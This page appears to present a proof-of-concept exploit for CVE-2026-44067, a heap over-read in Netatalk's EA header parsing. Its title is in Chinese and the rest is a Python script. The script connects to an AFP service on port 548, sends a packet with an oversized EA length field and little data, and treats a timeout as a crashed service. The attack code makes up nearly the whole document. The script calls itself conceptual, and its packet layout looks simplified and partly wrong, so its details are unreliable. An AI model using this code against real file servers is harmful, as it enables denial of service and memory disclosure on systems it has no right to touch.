CVE-2026-44067 Netatalk EA头部解析堆越界读取漏洞

import socket # Conceptual PoC for CVE-2026-44067 # This script demonstrates the logic to trigger the heap over-read. # Requires a valid authenticated session to the AFP service. def send_malicious_ea(target_ip, target_port): try: # 1. Establish TCP connection to Netatalk AFP service (default port 548) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print(f"[+] Connected to {target_ip}:{target_port}") # 2. Perform AFP Handshake and Login (Simplified placeholder) # In a real scenario, specific AFP DSI OpenSession and Login requests are needed. # auth_payload = build_afp_login(username, password) # s.send(auth_payload) # print("[+] Authenticated successfully") # 3. Craft the malicious Extended Attribute (EA) header # The vulnerability triggers when the EA header length field indicates # more data than is actually present in the buffer. # DSI Header structure (simplified) dsi_command = b"\x00\x04" # FPWrite or similar command that handles EAs dsi_request_id = b"\x00\x01\x00\x02" dsi_data_offset = b"\x00\x00\x00\x00" dsi_data_length = b"\x00\x00\x01\x00" # Total length # Malicious EA Header # Setting a large length value without providing sufficient buffer data ea_header_length = b"\xFF\xFF" # Abnormally large length crafted_ea_data = b"A" * 10 # Insufficient actual data payload = dsi_command + dsi_request_id + dsi_data_offset + dsi_data_length payload += ea_header_length + crafted_ea_data # 4. Send the malicious packet s.send(payload) print("[+] Malicious EA packet sent.") # 5. Wait for response or timeout (indicating a crash) s.settimeout(2) try: response = s.recv(1024) print(f"[!] Received response: {response}") except socket.timeout: print("[-] Connection timed out. Service may have crashed (DoS).") s.close() except Exception as e: print(f"[-] Error: {e}") # Usage # send_malicious_ea("192.168.1.10", 548)